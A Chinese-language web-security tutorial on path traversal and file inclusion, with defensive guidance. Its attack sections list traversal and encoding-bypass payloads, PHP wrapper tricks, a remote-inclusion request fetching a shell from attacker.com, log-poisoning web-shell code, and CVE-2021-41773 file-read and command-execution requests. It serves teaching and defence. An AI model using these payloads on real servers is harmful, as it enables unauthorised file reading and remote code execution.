路径遍历与文件包含:目录穿越的攻击
网络安全系列第9篇 | Web安全基础
目录
什么是路径遍历
路径遍历(Path Traversal),也叫目录穿越(Directory Traversal),是一种利用应用程序对文件路径处理不当,访问服务器上非授权目录和文件的攻击手法。
核心原理
Web应用经常需要读取本地文件,比如显示图片、加载模板、下载文档。如果应用直接使用用户输入的文件名或路径,而没有做严格的校验,攻击者就能通过特殊字符"穿越"到上级目录。
经典Payload
../../../etc/passwd
..\..\..\windows\win.ini
....//....//etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd这些Payload的共同点是利用../(或..\)逐级向上跳转,最终到达系统根目录,再访问敏感文件。
一个简单示例
假设有个图片展示接口:
# 有漏洞的代码
@app.route('/image')
def show_image():
filename = request.args.get('file')
return send_file(f'/var/www/images/{filename}')正常请求:
GET /image?file=logo.png
→ 读取 /var/www/images/logo.png恶意请求:
GET /image?file=../../../etc/passwd
→ 读取 /var/www/images/../../../etc/passwd = /etc/passwd问题所在:代码只是简单拼接路径,没有限制用户输入只能访问images目录。
文件包含漏洞
文件包含(File Inclusion)分为本地文件包含(LFI)和远程文件包含(RFI)。
本地文件包含(LFI)
当应用包含本地文件时,如果文件名可控,就能包含任意本地文件。
// 有漏洞的PHP代码
$page = $_GET['page'];
include($page . '.php');攻击:
GET /index.php?page=../../../etc/passwd%00
→ 包含 /etc/passwd(%00截断后缀.php)关键点:某些语言(如PHP老版本)支持空字节截断,可以绕过强制后缀。
远程文件包含(RFI)
更危险的是,如果服务器允许包含远程URL,攻击者就能引入恶意代码。
// 极度危险的配置
allow_url_include = On
// 攻击
GET /index.php?page=http://attacker.com/shell.txt
→ 远程执行攻击者控制的代码
后果:直接GetShell,服务器完全沦陷。
PHP伪协议利用
PHP支持多种流包装器,即使文件名被限制,也能利用伪协议读取文件或执行代码:
php://filter/read=convert.base64-encode/resource=../../../etc/passwd
php://input — 配合POST数据执行代码
data://text/plain,<?php phpinfo(); ?>
expect://id — 执行系统命令(需安装expect扩展)攻击原理与利用
绕过技巧
防御者会过滤../,攻击者就有各种绕过方法:
| 绕过方式 | Payload | 原理 |
|---|---|---|
| URL编码 | %2e%2e%2f | ../的URL编码 |
| 双重编码 | %252e%252e%252f | 编码两次 |
| 绝对路径 | /etc/passwd | 直接指定绝对路径 |
| 空字节截断 | file.jpg%00.php | 截断后续字符 |
| 路径规范化绕过 | ....//....// | 某些过滤只替换一次../ |
| Unicode绕过 | %c0%af | 过时的IIS Unicode漏洞 |
| 内部变量 | /proc/self/environ | 包含环境变量,可能写入shellcode |
日志/会话投毒
当LFI无法直接读取敏感文件时,攻击者会尝试"污染"一个可被包含的文件:
- 日志投毒:在User-Agent中写入PHP代码,然后包含日志文件
GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
```
然后访问:/index.php?page=/var/log/apache2/access.log&cmd=id
2. 会话投毒:如果应用使用文件存储Session,向Session写入代码再包含
3. 图片上传+LFI:上传一个包含恶意代码的图片(图片头部是正常图片数据,尾部是PHP代码),然后用LFI包含这个"图片"
## 真实案例
### CVE-2019-18371 - Apache Solr
Apache Solr的DataImportHandler存在路径遍历,攻击者可以通过file参数读取任意文件:
GET /solr/core_name/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd
### CVE-2021-41773 - Apache HTTP Server 2.4.49
Apache 2.4.49的一个路径规范化漏洞,允许攻击者读取服务器上的任意文件,甚至在CGI启用时执行命令:
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
→ 200 OK,返回passwd内容
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
→ 执行shell命令
这个漏洞的成因是Apache在路径规范化时移除了
%2e%2e但没有正确处理,导致路径穿越。### 某CMS模板包含漏洞
一个常见模式是CMS的模板系统:
$theme = $_GET['theme'];
include("themes/$theme/header.php");
攻击:
?theme=../../../etc/passwd%00
## 防御方案
### 1. 输入验证与过滤
白名单永远比黑名单可靠:
import os
from pathlib import Path
ALLOWED_FILES = {'logo.png', 'banner.jpg', 'avatar.gif'}
def safe_read(filename):
# 白名单校验
if filename not in ALLOWED_FILES:
raise ValueError("File not allowed")
# 或者:严格限定目录
base_dir = Path('/var/www/images').resolve()
target = (base_dir / filename).resolve()
# 确保目标路径在base_dir之内
if not str(target).startswith(str(base_dir)):
raise ValueError("Path traversal detected")
return target.read_bytes()
### 2. 使用chroot/jail
将应用限制在特定目录:
Docker方式
-v /var/www/images:/app/images:ro
chroot方式(较老)
chroot /var/www/app /usr/bin/python app.py
### 3. 禁用危险功能
PHP配置:
allow_url_fopen = Off
allow_url_include = Off
open_basedir = /var/www/html:/tmp
### 4. 路径规范化
在处理前对路径进行规范化,解析所有../和符号链接:
from pathlib import Path
def normalize_path(base, user_input):
"""安全地解析用户输入的路径"""
base = Path(base).resolve()
target = (base / user_input).resolve()
# 检查target是否在base目录下
try:
target.relative_to(base)
return target
except ValueError:
raise PermissionError("Invalid path")
### 5. WAF规则
ModSecurity示例规则:
SecRule REQUEST_URI "\.\./" \
"id:1001,phase:2,deny,status:403,msg:'Path Traversal Detected'"
```
6. 最小权限原则
- Web服务用户(如www-data)只应有读取必要文件的权限
- 禁止Web用户读取
/etc/shadow、数据库配置文件等 - 使用SELinux/AppArmor进一步限制
防御检查清单
- [ ] 所有文件操作使用白名单或路径规范化
- [ ] 禁用不必要的远程文件包含功能
- [ ] 设置
open_basedir或等效限制 - [ ] Web服务以低权限用户运行
- [ ] 部署WAF规则拦截路径遍历Payload
- [ ] 定期审计代码中的
include/require/open调用
总结
路径遍历和文件包含是Web应用中常见且危害巨大的漏洞。它们的本质都是信任了用户输入的文件路径,没有做好边界控制。
| 漏洞类型 | 危害等级 | 核心防御 |
|---|---|---|
| 路径遍历 | 中-高 | 路径规范化 + 目录限制 |
| 本地文件包含 | 高 | 白名单 + 禁用伪协议 |
| 远程文件包含 | 极高 | 禁用远程包含 + 输入校验 |
记住:任何来自用户的文件名、路径参数,都应该被视为不可信的。做最严格的校验,给最小的权限,这是防御这类漏洞的根本。
网络安全系列文章,每周更新。下一篇:《HTTP参数污染:重复参数的解析差异》
参考:OWASP Path Traversal Cheat Sheet, PortSwigger Web Security Academy